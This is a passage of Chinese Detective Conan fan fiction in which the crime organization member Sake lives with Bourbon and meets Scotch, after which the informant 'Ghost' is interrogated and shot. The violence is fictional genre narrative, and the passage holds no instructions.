他也会做饭,但大多数时候他对食物没有什么执念,只要能填饱肚子就行。不管是便利店的饭团还是高级餐厅的牛排,对他来说都只是燃料,没什么区别。 他从没想过,仅仅是用水煮大米这么简单的操作,也能做出可以称为“美味”的感觉。 慢慢地喝下几口,他放下勺子,看向还在厨房忙碌的绿川光。 他正在做厚蛋烧,蛋液的香气已经飘到这边来了。 “你做过厨师吗?”羽泽熙真问。 “没有,只是个人爱好而已。”绿川光扭头看了他一眼,嘴角带着笑意,“味道还不错吧?” “很好吃。”羽泽熙真说。 绿川光笑了笑,把刚刚出锅的厚蛋烧放在案板上,切好装盘,和味噌汤一起端上桌。 “请用,清酒先生。”他推了推厚蛋烧,“您可以先尝尝这个,不知道您吃不吃得惯。我在里面放了……” 什么出汁,什么昆布,什么薄口酱油。 听着那一连串夹杂着各种敬语的名词,羽泽熙真脑子有些疼。 太啰嗦了,绿川光这个人。 说的话听了半天没两个字是信息量,每个句子都裹着一层又一层的客气和礼貌,像剥洋葱一样,你得不停地从那些修饰词里提取信息,剥了一层还有一层,剥到最后发现里面什么都没有。 “……你之后,能不能少用些敬语。”羽泽熙真扶额,“这样下去,我听不听得惯不说,但迟早有一天你会被琴酒杀掉。真的,他最烦这个。” 这大概是羽泽熙真最近几个月说的最长的一段话了。他自己都有点意外。原来他还能一口气说这么多字。 绿川光愣了愣,然后露出一个礼貌的微笑。 “好的,我知道了。我会注意的,清酒先生。” “好,清酒。” 羽泽熙真盯着他。 “……好,清酒。”绿川光从善如流。 这样听起来就舒服多了。 18.朱雀(7)浴火 “……今日凌晨,新宿区歌舞伎町的娱乐公司‘朱雀’发生火灾。火势持续了约三个小时,直到清晨才被完全扑灭,目前火灾原因正在调查中。警方在现场发现一具遗体,初步判断为该公司社长神谷诚……” 听到这里,和安室透一起蹲在阳台的羽泽熙真扭过头,扫了一眼客厅的电视。 屏幕上是火灾现场的航拍画面。 镜头从高空俯瞰,那栋他曾经拜访过的建筑被烧得面目全非,门楣上写着“朱雀”两个大字的匾额还在,但已经熏得看不清字迹了。 他又不甚在意地把头转回来,再次看向面前的盆栽。 盆栽。 这东西真的能叫盆栽吗? “这明明是一盆芹菜。”羽泽熙真的表情很微妙,“你管这盆芹菜叫‘你之前养的盆栽’?” 一天前,安室透突然问他能不能带个盆栽过来,他说他养了很久,如果不经常回去的话,得不到照顾的它可能会死掉。 当时他说得很认真,羽泽熙真还以为是什么娇生惯养的珍稀品种,毕竟那才符合波本的气质。精致,挑剔,不好伺候。 他同意了。 结果安室透今天端回来这么一盆翠绿的、茂盛的、从头到脚都写着“我是蔬菜”的东西。 芹菜被种在一个大陶土盆里,长得很高,最高的几根已经能到羽泽熙真的大腿。 他伸出手指戳了戳其中一片最大的叶子,锯齿状的边缘摸起来软软的,没什么攻击性。 “芹菜不可以是盆栽吗?”安室透无辜地眨眼,“它也是绿色的。” “……你喜欢就好。” 羽泽熙真站起身,不得不面对之后要每天看到这盆生机勃勃芹菜的事实。 安室透在这所公寓住了快两个月了,这里属于他的东西也越来越多。洗衣机,瓶瓶罐罐,衣服,一些不重要的文件,还有这盆芹菜。 不知道拿它来做菜的话,安室透会不会生气——毕竟他说养了很久。 “可以吃。”安室透指了指芹菜底部明显被掰过的地方,“我已经吃过几次了。” 挺好的。 但他不是不会做饭吗?羽泽熙真想起了安室透对自己厨艺的评价——“泡面,煎蛋,偶尔能把米饭煮熟”,哪个都和芹菜不搭边。 “你是怎么吃的?” “用水煮,或者直接吃。” 嗯。安室透会选择养这盆芹菜,说不定纯粹是因为他喜欢这个味道,想吃的时候随时可以掰一根。 “……据知情人士透露,‘朱雀’近期被曝涉嫌偷税漏税,目前正在接受调查。警方在神谷社长家中发现了遗书,疑似畏罪自杀。” 电视屏幕上的画面已经从火灾现场切换到了神谷诚的照片,羽泽熙真见过的,就是琴酒给他的那张。但现在,那双精明的眼睛不会再睁开了。 安室透也抬头看了一眼,又低下头。 他蹲在陶土盆旁边,用手一片一片地检查那些叶子。前段时间疏于照顾,有几片叶子泛黄了,他把它们掐了下来。 “你怎么看?”羽泽熙真问。 “什么怎么看?” 羽泽熙真倚在阳台的玻璃门旁,低头看着他的动作。 “神谷诚。”他说,“还有朱雀。” “嗯……” 安室透找到了一片半黄半绿的叶子,他犹豫了一会儿,最后还是掐下它,放进旁边的落叶堆。 “你想听到什么答案?”他慢慢说道,“鼠目寸光,不知死活,胆大包天,或者……罪有应得?” “我是在问你的看法,不是让你猜我的想法。”羽泽熙真笑笑:“我没什么感觉。” 琴酒说查清楚,他查清楚了。至于神谷诚后来会怎么样,那和他没关系。 他不为神谷诚的死感到高兴,也不会感到愧疚。 他只是在完成自己的任务。 “喔。” 安室透低着头,把摘下的落叶一片片捡起,收在手心里。 “要我说的话,神谷诚这个人……很倒霉吧。” 倒霉? 羽泽熙真挑了挑眉。安室透怎么会用这个词? 安室透继续说着: “那位神秘的‘幽灵’需要一个人给他做替死鬼。刚好神谷诚喜欢钱,想结交泥惨会,又足够自信——呵。” 他轻轻冷笑了一声。 “原本他可以舒舒服服当他的社长的,现在他被‘幽灵’拖下水,只能去做第二个幽灵了。” 安室透站起身,走向厨房,把收拾好的叶子扔进了垃圾桶。 所有的证据都指向同一个方向,自杀。事情发展到这个地步,警方大概不会再查下去了。 但组织不会放过“幽灵”。 “你知道吗,波本。”羽泽熙真说,“幽灵已经被抓住了。” 安室透回头:“……什么?” “就在昨天。听说他们已经问出了些有趣的东西。” 羽泽熙真走到他旁边,压低了声音:“那个家伙,并不是一切的源头。他后面还有其他人。” 是的,还有。而且指向很明确,是组织内部的人。所以琴酒叫清酒下午去关着幽灵的地方,试试再挖些更具体的东西出来——或者去当个热闹看。 羽泽熙真想不想动手都行。他可以坐在旁边喝茶,看着别人审,也可以在觉得无聊的时候亲自上阵。琴酒不在乎过程,只在乎结果。 “你要和我一起去吗?”他问安室透,“场面可能不太好看,不过……如果有机会的话,我可以带你见见苏格兰。” “苏格兰?” “嗯,听说他也会去,但时间不确定。如果刚好错开了的话,就只能下次了。” 安室透完全没有不去的理由。他现在是清酒的搭档,本就应该和清酒一起行动,而且…… 去了现场,能拿到的可是一手的情报。 他干脆地点了点头,说:“好。” —— 下午,他们开车去了那个关着“幽灵”的地方。 幽灵是一个中年男人,挺着大肚腩被绑在椅子上,下巴抵着胸口,脸肿得很厉害。他的衣服被血浸透了,右手以一种不自然的角度垂着,大概是断了。 羽泽熙真走近了几步,低头看着他。 幽灵似乎感觉到了什么。他抬起头,艰难地睁开眼。 然后他的身体猛地僵了一下。 “你……”他的声音沙哑得几乎听不清,“你是……清酒……” 羽泽熙真:“嗯?” 幽灵认识他,这不奇怪。他卖出去的情报里也包括清酒的部分信息。还有琴酒的。这让羽泽熙真稍微有点不爽 。 但现在他的反应,比羽泽熙真预想的要强烈得多。 “你……你别过来——!” 幽灵突然开始发抖了,整个人拼命往后缩,好像要把自己塞进椅背里。 “疯子……”他说话也在颤抖,染上了哭腔,“你太值钱了……疯子……” 被吓到了? 羽泽熙真有些疑惑于他的反应。自己明明什么都没干,旁边等着过来审讯的黑衣人手里拿着一把细长的刀,刀刃上还沾着血。但幽灵不怕他,只怕自己。 啊……怪不得安室透那天提起他破解了部分情报的时候,表情那么诡异,他没说具体,羽泽熙真也懒得追问。 他并不在乎那里面写了什么。 羽泽熙真想了想,朝幽灵露出了一个完美的微笑,温和又无害的那种。 效果显著。 幽灵看起来更害怕了。 他脸色惨白,张着嘴,又发不出声音,死死地盯着羽泽熙真的脸。 安室透大概是有点看不下去,走过来把羽泽熙真拉到了一边。 “我们不要打扰别人的工作,清酒。” “好吧。” 羽泽熙真退后两步,找了把椅子坐下来。 审讯持续了大概一个小时。也许更久,羽泽熙真没有看表。幽灵说了很多,关于神谷诚,关于泥惨会,关于那些被卖出去的信息。他说得断断续续的,有时候会停下来喘气,有时候会突然尖叫一声,有时候会哭。 幽灵这个人总喜欢半真半假的说话,所以场面的确不太好看。羽泽熙真一边听着,一边还要时不时回头确认安室透的状态。 好在安室透的心理承受能力似乎还不错,除了有些安静过头,没什么异常反应。 忽然,幽灵不说话了。 他低着头,肩膀颤抖着,呼吸急促,口水从嘴角流下来,滴在衣服上。 羽泽熙真以为他要晕过去了,正要走看看—— 幽灵猛地站了起来。 椅子被他带倒了,“哐当”一声砸在地上。 他手腕上的绳子松了,没有人知道他是怎么挣脱的。他用肩膀撞开面前的男人,踉踉跄跄地朝门口冲去。 一切发生得太快了。被撞开的男人踉跄了两步,没来得及反应。 不过安室透就站在门口,羽泽熙真想,他可以把人拦下来。以波本的身手,拦住一个半死不活的中年男人,应该不费吹灰之力。 他想错了。 安室透看着那个浑身是血的人朝自己冲过来,侧了侧身,优雅地让开了路。 幽灵畅通无阻的跑出去了。 房间里一片死寂。 负责审讯的黑衣人看着他们,不知所措。 羽泽熙真看着安室透。安室透看着羽泽熙真。 “……” “……” 羽泽熙真:“你怎么不拦住他。” “原来是要拦住的吗?”安室透惊讶,那双紫灰色的眼睛睁得大大的,“不好意思,我刚刚有点害怕呢。” 羽泽熙真:“?” 他懒得吐槽什么了,抬步朝外面走。 地上断断续续地蜿蜒着一条深色的痕迹——是血,沿着这条痕迹就能找到幽灵。 羽泽熙真追得不怎么认真,因为他知道,幽灵是跑不掉的。 19.好久不见,零。 幽灵已经跑到了外面的空地上,正在往公路的方向狂奔。也是辛苦他了,审讯的时候可能伤到了哪里,他跑起来一瘸一拐的,比起走路快不了多少。 他真的觉得自己能跑出去吗。 外面的阳光有些刺眼,羽泽熙真眯了眯眼睛,抬起手遮了一下。远处有一栋楼。大概三百米远,六层高,在楼顶的边缘,他看到了一个模糊的身影。 “砰——!” 他的身旁传来一声枪响。那是伯|莱|塔的声音,他很熟悉。 幽灵的身体顿时失去了平衡,猛地向前扑去,他的左腿在奔跑中被击中了。他抱着腿,哀嚎着,挣扎着想站起来。 地上汇集起一小摊血。 羽泽熙真移开了视线。不过并不是因为看不下去,而是他突然发现好像有哪里不太对劲。 安室透不见了。 明明刚刚那个金发的家伙还跟在他身后的,一转头的工夫,就像是凭空消失了一样。 羽泽熙真左右张望了一下,空地,厂房的墙,周围空空荡荡的,没有安室透的影子。 “清酒。” 他闻声转头,看向靠在墙边的琴酒。 琴酒左手握着刚刚用来拦住幽灵的伯|莱|塔,枪口朝下,手指搭在扳机护圈上。右手夹着一根点燃的烟,贴在唇边。 “你在找什么?” “前辈,你看到波本了吗?”羽泽熙真问,“他不见了。” “没有。” 琴酒弹了弹烟灰,嫌弃地嗤笑一声。 “他跑丢了那是他自己的事,你倒是着急。” 羽泽熙真:“啧。” 前辈怎么不帮忙还说风凉话。 要是波本跑到什么莫名其妙的地方去出了事,到时候大家不都要挨骂的吗。 “你也别逼他太紧了。”琴酒说。 “嗯?”羽泽熙真疑惑,“前辈,你刚刚说什么?” “没什么。这个人没用了。”琴酒弹了弹烟灰,“处理掉吧。” 幽灵趴在地上,仰头看着琴酒。他的眼睛里满是恐惧,嘴唇在发抖。他想求饶,但最后只发出了一些含混的音节。 “我知道了。”羽泽熙真点头。 他走近两步,朝着那个即将变成幽灵的男人笑了笑。 “别怕,很快的。” 男人疯狂摇头。 羽泽熙真抬起右手,拇指伸直,食指和中指并拢,无名指和小指弯曲——比了一个手枪的手势。 手指对着幽灵的脑袋,轻轻抬起。 “砰。”他轻声开口。 ——砰! 这次的枪声是从三百米外传来的。 血溅在地上,幽灵的身体猛地抽搐了几下,然后不动了。 “前辈。”羽泽熙真收回手,“伏特加呢?” 琴酒把烟叼在嘴里,没搭理他。他看着远处那栋楼,还有楼顶那个正在收起狙击枪的身影。 “之后,苏格兰还是跟着你行动。” “好的。”羽泽熙真笑道。 所以说,苏格兰没事,那个莱伊大概也没事,没有发展到什么两个必须死一个的极端情景,大家好聚好散。 他忽然觉得今天的空气特别清新,阳光特别好,连趴在地上的尸体都不那么碍眼了。 琴酒直起身,走到了羽泽熙真面前。 他比羽泽熙真高一点,挡住了光线,羽泽熙真被笼罩在他的影子里,微微仰头,有点疑惑地看他。 “……” 琴酒一言不发地从风衣里摸出一个东西,塞进羽泽熙真外套的口袋里,转身走了。 羽泽熙真把手伸进口袋,摸到了一个塑料的小瓶子,他不用看就知道里面是什么。 他的药。 他每天早上会服用一粒,吃了的话精神会好一些,也不那么容易晕倒。一瓶是六十粒,所以他需要每两个月去实验室拿一次。 但琴酒为了把波本塞到他身边,做出了“后面三次拿药我去”的承诺。 这是第一次。 前辈明明也很不喜欢那个地方吧…… “谢谢前辈。”他朝着琴酒的背影说。 银发男人还没走太远,长发在他身后摆动。但他没什么反应,不知道有没有听到。 “琴酒给了你什么?” 安室透从背后冒了出来,如果羽泽熙真没听到后面的窸窣声的话,八成要被他吓一跳。 “你去哪了?”羽泽熙真反问。 “洗手间。”安室透指指厂房里的一扇门,“刚刚发生什么了吗?” 发生了什么很明显吧,幽灵的尸体还在不远处躺着呢。安室透却只往那边瞥了一眼,目光便落回羽泽熙真脸上,仿佛他看到的是路边的枯枝败叶。 有点奇怪。 倒不是说安室透会上厕所这种事很奇怪,他是一个正常的人类,需要吃饭,需要睡觉,需要上厕所。奇怪的是,安室透会在这个时候跑去上厕所。 明明刚刚审讯时,他在旁边听得那么认真,一副不想错过任何情报的样子。 羽泽熙真合理怀疑安室透是终于被那场面恶心得受不了了,跑去洗手间消化情绪。但他没有证据。 安室透的神态看起来很正常,没有表现出排斥或者是不适的表情。他的手上湿漉漉的,但头发和面部是干燥的,没有水痕。 “……你没事吧?”羽泽熙真皱了皱眉,“如果有不舒服,最好现在就告诉我。” 还是要多问一句。毕竟有前车之鉴。 安室透愣了一下。 “怎么会呢。”他弯起眉眼,“别担心,我真的只是去了厕所。琴酒给了你什么?” 他又问起刚刚羽泽熙真没有回答的问题。 见安室透一直盯着自己的口袋看,羽泽熙真无奈地摸了颗薄荷糖出来,摊手递给他。 “用来提神的,你也要?” 琴酒会莫名其妙给清酒塞几颗糖?这种东西出现在那位组织的TopKiller身上都算是一种亵渎了吧。 安室透明显不信,他低头看了看那块糖,又抬头看了看羽泽熙真,欲言又止。 “……谢谢。” 他把糖拿走了,举到眼前看了看,然后塞进了自己的口袋里。 这倒是有些出乎羽泽熙真的预料。安室透住进来的这段时间,他没见过他买甜品之类的东西吃,咖啡也不加糖只加奶,还以为他不爱吃甜的。 幽灵的尸体已经不流血了。 羽泽熙真把手插回口袋里,带着安室透朝外面走,走了两步,他又忽然停下来。 他听见了脚步声。 安室透也跟着他停下来,朝着他看的方向望去—— 有一个人影从远处大楼的方向走过来。 人影瘦高,穿着一件蓝色的兜帽衫,双手插在衣服前面的口袋里,肩膀微微耸起,姿态很放松。他肩上背着黑色的贝斯包,帽子的阴影盖住了他的大部分面容,只露出一小截下巴胡茬的青色。 他应该就是苏格兰了。安室透想,但这个人给他的感觉怎么……有些熟悉? 人影不紧不慢地走到两人面前,停下脚步。

他伸手抓住帽子的边缘,低着头,慢慢向后摘掉。 兜帽从他的闭着的眼睛划过,然后是眉毛、额头,拂过黑色的发丝,垂到颈后。 那双眼睛缓缓睁开—— 深蓝色的眼睛。 漂亮的、上挑的、猫一样的眼睛。 苏格兰——绿川光笑着看向羽泽熙真,又微微偏头,看向了羽泽熙真身侧的安室透。 他嘴角的笑意加深了一点。 那一瞬间,安室透如坠冰窟。 怎么会……怎么会…… 他就是……苏格兰。 …… ……但苏格兰,怎么可能是诸伏景光?! 降谷零下意识攥紧了刚刚羽泽熙真给他的薄荷糖。 从警校毕业后,作为优秀毕业生的他被公安招揽,前往黑衣组织卧底。 为了这个任务,他化名为安室透,与以前的关系几乎完全断联,包括警校时期的几个关系极好的挚友:萩原研二、松田阵平、伊达航,以及他的幼驯染,诸伏景光。 虽然他保留了几个好友的联系方式,但对于他们的消息,降谷零通常是只收不发,看一遍,然后删掉。好在几个朋友也不在意他有没有回复,只是时不时的问候一下他的情况,讲讲最近发生的事。 就比如前几天,萩原还发消息问他是不是出事了……都这么久了,关于他在干什么,他们应该也猜到了吧。 苏格兰是组织成员,是清酒的直系下属,是清酒给出信任的搭档。 而诸伏景光是降谷零两年未见的幼驯染,他们一起长大、一起上学、一起成为警察,他是他生命中最重要的人。 他们两年没见了,但降谷零从来没有想过会在这样的地方,这样的时刻,以这样的方式见到他。 不……或许就在清酒淋着雨,朝他讲述“蓝色眼睛,和他年龄相仿”的苏格兰时,在感觉清酒做的饭味道熟悉时,他就该想到了……他应该想到的。 但他否定了自己的联想。 诸伏景光没有胡子。 诸伏景光在毕业后去了警视厅,警视厅和警察厅没必要同时派出两个卧底进入组织。 诸伏景光虽然很少给他发消息,但偶尔的问候都很平常。 所以降谷零从来没往那个方向想过…… 他觉得他的幼驯染应该在阳光下过着正常的生活,应该离这个黑暗的世界很远很远,不愿去打扰。 他错了。 两年的时间,足以让一个警察变成罪犯,足以让一个朋友变成敌人。 他不知道……他不知道站在面前的诸伏景光究竟也是来卧底的,还是说,面前的苏格兰,是早已被组织驯化的猎犬,放弃了原来的身份,效忠于组织——并且几乎知道有关于自己的所有过去。 或许是今天受到的刺激太多,降谷零觉得自己快要窒息了。 刚刚在洗手间强行压下的反胃感又在翻腾,他的思绪不由自主地往更阴暗的地方蔓延。 ——如果你和我是同样的立场,那么为什么你要走到我面前才露出真实的面容,不给我任何时间做准备? ——如果你与我背道而驰,你在等什么?在享受这个把我吓得魂飞魄散的瞬间吗?在等一个合适的时机揭穿我?还是你已经…… 不。不。不能往下想了。 如果这是一场梦,降谷零想,那它一定称得上是一个噩梦。 那双蓝色的眼睛还在看着他。 然后它们弯了弯。 它们在说—— “好久不见,零。” 20.要去我那里坐坐吗,苏格兰? “好久不见,清酒。” 绿川光的嘴角微微弯着,那是安室透有些陌生的弧度。 “还有这位……是波本先生吧。” 他的目光落在安室透身上,礼貌而疏离的注视,那么的陌生。 “初次见面,我是苏格兰。” 他伸出手。 他的手上也多出了很多安室透从未在他身上见过的痕迹,那只手应该是布满枪茧和细小疤痕的吗? 那双他握过无数次、会在他眼前挥来挥去、说“zero,你在想什么?”的手,不应该是这个样子的。 一切都是那么陌生。 又那么熟悉。 安室透轻轻吸了一口气,又慢慢吐出来,不会有人注意到他做了个深呼吸。 他的心跳还是很快,但他已经能控制住脸上的表情了。 他轻轻握住了苏格兰的手。温度从对方的手上传过来,温暖而干燥,和他记忆中的别无二致。 “……初次见面。”他笑着开口,“你的眼睛很漂亮,苏格兰。” 初次见面。 让我们再重新认识一次吧,hiro。 就从这双眼睛开始。 露台上用来敷衍清酒的话语,此刻竟成了可以掩饰一切异常的理由。 我对苏格兰一见钟情了,安室透想。这就是他以后的人设。一个会对漂亮眼睛动心的、有点肤浅的、不太正经的情报贩子。 绿川光有些惊讶地笑笑。 “谢谢。”他说。 他想把手从安室透的掌心里抽出来,动了动胳膊,结果没抽动。安室透握得太紧了。 “……” 羽泽熙真看安室透的眼神不对劲了。 原来这个人说喜欢蓝色眼睛,真的不是在开玩笑啊。 喜欢到看见一个蓝色眼睛的陌生人就走不动道,握着人家的手不放,还当面夸人家眼睛漂亮,就像一朵被阳光吸引的向日葵,从早到晚追着太阳跑,不管太阳愿不愿意。 羽泽熙真在心里默默地把波本的威胁等级往上调了一级。 纯粹是喜欢还好,但如果波本有什么不良企图——想试图利用苏格兰、伤害苏格兰、或者把苏格兰卷进什么麻烦里,他绝对不能允许。 “咳。” 羽泽熙真清了清嗓子。 “你们握够了吗?” 安室透很不情愿似的松开手,绿川光把手收了回去。 “要去我那里坐坐吗,苏格兰?”羽泽熙真问道,“你之后没有其他事了吧。” “好啊。”绿川光欣然应下,“只不过,我刚刚是跟着琴酒先生一起来的,是不是要先说一声……” “不用,前辈已经走了。” 羽泽熙真朝厂房的方向扬了扬下巴。那里空荡荡的,琴酒的黑色保时捷已经不见了。可能他不太记得自己还带了个人来,或者他是故意的,故意把苏格兰扔在了这个根本打不到车的地方。 绿川光点了点头:“那就打扰了。” 今天是羽泽熙真带着安室透过来的,他们只开了一辆车。 羽泽熙真坐进驾驶座,扣上安全带。 他抬起头,看到安室透拉开了副驾驶的门,而绿川光拉开了后座的门。 两个人同时弯下腰,准备坐进去。 就在这时,安室透微微一愣。他扭头看了看绿川光——绿川光已经坐下了,正在找地方放贝斯包。 他又看了看羽泽熙真——羽泽熙真坐在驾驶座上,一手握着方向盘,另一只手搭在手刹上,正用一种“你在干什么”的眼神看着他。 安室透直起腰,啪的一声把副驾驶的门关上了。 他绕到车的另一边,拉开后座另一侧的门,愉快地坐了进去。然后靠在椅背上,偏过头,对绿川光笑了笑。 羽泽熙真:“……” 副驾驶不坐,跑去后座挤什么?狙击枪都没地方放了。 你是怕苏格兰一个人在后面太孤单,还是觉得副驾驶的位置配不上你波本大人的身份? 但这只是个开始。 一路上,安室透都在各种找话题和绿川光聊天,羽泽熙真从来没听他说过这么多话。 “苏格兰先生的全名是什么?”安室透问。 他一只手搭在膝盖上,另一只手撑着座椅,侧着身子专注地看着身旁的人。 “绿川光。” “绿川……光。”安室透慢慢重复了一遍,“很好听的名字。” “谢谢。波本先生呢?全名是?” “安室透。” “也很好听。”绿川光说。 安室透笑了笑,又喋喋不休地开始问苏格兰多大了,哪里人,家住哪里,喜欢吃什么,喜欢喝什么,平时爱做些什么。 有的问题绿川光认认真真地答了,有的只是微笑着一带而过。 再聊下去,安室透就可以原地给绿川光写一份人物小传了。从生活习惯到人生哲学,洋洋洒洒写上个几万字,图文并茂,还要加上附录和参考文献。 为了不让安室透在路上因说话太多被渴死,羽泽熙真默默地踩下了油门,以卡在限速线上的车速回到了公寓。 没敢超速是因为车上违禁品太多,被交警追上的话会很麻烦。而且开太快的话……会不太舒服。 果不其然,安室透一进门就跑去了厨房,拿着杯子找水喝。 连灌两杯。 喝完水,他放下杯子,扭头瞥见绿川光正站在客厅里,四下打量着屋内的摆设。 他忽然想起什么似的,脚步轻快地走过去。 “苏格兰,你要看看我养的盆栽吗?” “盆栽?” “嗯。在阳台上。” “好啊。” 安室透拉开了阳台的玻璃门,这会儿刚好是黄昏,阳台满是落日的颜色。 那盆绿色的芹菜醒目地立在角落。 他指指它。 “怎么样?我养了它很久,从一小把种子,到现在长得这么高呢。” “这是……芹菜?”绿川光的嘴角抽搐了一下,“嗯,很茂盛。你把它照顾得很好。” 安室透挑了一根粗细适中的芹菜茎,把它掰了下来,拿到旁边的水龙头下冲洗。 洗去尘土后,他甩了甩水珠,折成两段,将其中一段递给绿川光。 “尝一下吗?” 绿川光低头看了看那半根绿油油的芹菜,又抬头看了看安室透。 安室透的眼睛亮晶晶的,脸上写满了“你快尝尝”。 没有人能拒绝那个表情,尤其是他。 他接过那半根芹菜,“咔嚓”咬了一口。 很脆。他嚼了两下,咽下去。 “好吃吗?”安室透问。 “好吃。”苏格兰笑了笑,“甜甜的,很新鲜。” “对吧。” 安室透也咬了一口自己的那半根,“咔嚓咔嚓”的,嚼得很认真。 羽泽熙真站在客厅,手里端着水杯,看着两个人并排站在阳台门口啃芹菜。 很难形容那个场面。 一个温和的黑发男 人,一个原本神秘莫测的金发男人,站在洒满落日的地方,每人手里拿着半根翠绿的芹菜,一口一口地咬着,发出“咔嚓咔嚓”的声音。 看起来像两只兔子在吃草。 或者像某个乡村生活栏目给纯天然芹菜花巨资投的广告,请了两个流量明星来做代言,一个负责温柔,一个负责帅气,两个人站在金色的光里,对着镜头说“芹菜,就要吃新鲜的”,然后同时咬一口,“咔嚓”。 羽泽熙真喝了一口水,咽下去,又喝了一口。 哈哈。 他怀疑安室透可能已经疯了。要么就是自己疯了,出现了一些奇怪的幻觉。 “你们慢慢吃。”羽泽熙真放下杯子,“我去换件衣服。” “清酒,你要吃吗?” 安室透大概这会儿才想起自己还有个室友,他扭过头,手里还拿着小半截芹菜。 “我再给你掰一根。” “不用了。谢谢。” 羽泽熙真礼貌的表示拒绝,并转身走向自己的卧室。 关上门的瞬间,他听见安室透又在说:“你喜欢吃吗?我改天可以——” 咔哒。 世界安静了。 羽泽熙真叹了口气,把口袋里的手机掏出来,在屏幕上敲了几下。 【苏格兰和波本以前认识吗?——Sake】 消息发出去,他把手机扔在床上,走到衣柜前翻出一件干净的T恤,换掉身上那件沾着血腥味和灰尘的外套。 最近天气越来越热,到他一年中最能感到舒适的时间了—— 盛夏。 外面温度高的时候,他也会更有精神一些。 真是麻烦的体质啊,虽然他已经习惯了。 手机震了一下,坐在床沿正在换裤子的羽泽熙真低头点开消息。 【不知道。——Gin】 唔,前辈不知道啊…… 但他是真的觉得,这两个人之间可能有什么故事。 波本在看清苏格兰的长相时,那段愣怔实在是太奇怪了,他不太理解喜欢一个人是什么感觉,是像波本那样吗? 羽泽熙真细细回忆着自己感受到的波本的情绪,一个个拎出来,试着给它们命名:疑惑,探究,好奇,难以置信,然后是……嗯,那种反应是应该叫“恐惧”吗?还是“激动”……呃,“悲伤”? 他有些不确定,但此刻没有人能解答他的疑惑。 算了。 可能只是波本和另一个有着蓝眼睛的人之间有什么故事,遇到旧人的反应不该是这样的吧。 羽泽熙真换好了裤子,提起扔在地上的外套,把口袋里的东西一一取出来。 药瓶收进床头柜,其他的原模原样放进另一件外套。 他想了想,又把刚放好的打火机掏出来,往后一仰,倒在床上。 他们有关系也好,没关系也罢,都不是他应该考虑的问题。与其纠结这些,还不如好好找找组织内部往外卖情报的内鬼是谁,要赶快抓出来才行。 羽泽熙真把打火机举到眼前,轻轻拨动滚轮,火苗蹿起来。 那个人在情报组的可能性比较大。 幽灵提到的情报多是有关行动组的,而且是比较浅显的东西,谁和谁是搭档,谁最近在执行什么任务之类的。 在那些信息中,也存在部分错误和疏漏,在行动组待过一段时间的人都不可能犯这种错。 但他其实很少和情报组的人员打交道,对他们不怎么熟悉。有点麻烦。 会是谁呢…… 21.他对我很重要 ……好像不小心睡着了一会儿。 窗帘没拉,外面的天已经完全黑下来了。 羽泽熙真从床上坐起来,揉了把脸,搓掉那点残存的睡意。 把客人扔在客厅和自己的室友单独交流,似乎不是很礼貌的行为,他想。希望波本没有对苏格兰做一些更失礼的事。 他可能会和苏格兰聊得很愉快,也可能会把苏格兰绑起来塞进衣柜里,在羽泽熙真对他的印象里,前者和后者出现的概率差不多。 羽泽熙真走出卧室,外面却意外的很安静。 客厅的灯开着,沙发前的茶几上摆着两个杯子,一个喝了一半,一个喝完了,杯底还剩一点水渍。杯子旁边是一盒拆开的饼干,吃了几块,包装袋敞着口,羽泽熙真记得自己没买过这个牌子的饼干。 沙发上坐着两个人。绿川光正低着头看手中的东西,那是一个笔记本,巴掌大小,黑色封皮。安室透凑在他旁边,两人肩膀挨着肩膀,贴得很近。 “啊,清酒。” 绿川光发现了他的靠近,缩了缩脖子,似乎有一瞬间的心虚。安室透也抬头望过来。 “不好意思,刚刚睡着了。”羽泽熙真走过去,“你们在看什么?” 绿川光有点犹豫地看了安室透一眼。 安室透笑着摇了摇头。 “没什么重要的。”他说,“这个是——‘关于清酒的观察日志’。” 羽泽熙真:“哈?” 他差点以为自己听错了。用“观察”这种表述,让人有种被当成了一只实验动物的感觉。 “作者是谁?” “我。”安室透理不直气也壮地答道,毫无心虚。 他写这个,是为了给朗姆交差? 羽泽熙真觉得很有可能,朗姆把安室透塞到他身边,就是要他来收集情报。如果他什么都不干,那才是最值得警惕的。 他朝着安室透伸出手。 “给我看看。” 话音未落,安室透动作很快地把笔记本从绿川光手里抽了出来,抱进自己怀里,护的紧紧的,像一只母鸡在护崽。 “不给。” “为什么?” “这是我的隐私。” 羽泽熙真:“……?” 你在我的家里,写关于我的观察日志,然后你告诉我这是你的隐私?这对吗? 他转头看向旁边另一个正在假装自己不存在,专心致志研究桌上饼干的男人。 “苏格兰。” “是。”绿川光坐直了。 “那上面写了什么?” “呃……” 绿川光想了想,朝着安室透露出一个带着歉意的微笑。 “写了‘清酒’的生活习惯和行事风格,还有健康状况。”他答道。 安室透没能来得及给绿川光写人物小传,但他用两个月的时间,先给羽泽熙真写了一份。 令人感动。 羽泽熙真在心里默默地给安室透的胆量打了个满分。 算了,写就写吧。羽泽熙真觉得自己展示给安室透的日常中,好像也没有什么值得藏着掖着的。几点起床,几点睡觉,喜欢吃什么,不喜欢吃什么——无聊又琐碎,知道的人多一个波本不多,再加一个朗姆也不算多。 “你们吃饭了吗?”他问。 “还没有。”绿川光说。 羽泽熙真点了点头:“那我去做。” 他转身朝着厨房的方向走去。就在这时,绿川光从背后叫住了他。 “等等……清酒。”绿川光站了起来,“我来做吧,你休息一下。” “没事。” “让我来吧。”绿川光轻声说。 羽泽熙真从他的声音中听出了某种坚持。是因为他不想和安室透单独相处了吗? “好吧。”羽泽熙真耸了耸肩,让开路,“需要我帮忙吗?” “我来帮忙。” 羽泽熙真还没来得及开口,安室透已经高高兴兴地跟着绿川光跑去厨房了。他手里还抱着那个笔记本,跑到一半才想起来,又折回去把它放在茶几上,然后又跑回来。 “苏格兰想做什么?”安室透问,“我可以帮你备菜。” “喔,波本也会做料理啊,我还以为……” “我可以学。”安室透认真地说。 意思是,现在还不会。 “……嗯,好的。”绿川光保持微笑,“我打算做咖喱饭,能麻烦你处理一下食材吗?” “当然。” 胡萝卜,鸡肉,土豆,洋葱。绿川光一样样把它们找到,拿出来。 羽泽熙真看了看茶几上的笔记本,没去动它。他去厨房接了杯水,顺便参观了一下安室透的劳动成果。 不得不说,波本大人在用刀这方面还是有天赋的,绿川光叮嘱他把土豆和胡萝卜切小一些,他果真没切大块。虽然形状不太美观,但至少没切到手。 绿川光在一旁淘了米,蒸上了米饭,一切都在有条不紊地进行着。 直到安室透拿起了洋葱。 “这个要切吗?” 绿川光回头看看他,点了点头。 “要。”他说,“不过这个还是我来吧,可能会有些辣。” “没关系,我可以的。” 安室透说得很自信,自信得让羽泽熙真觉得他在说梦话。 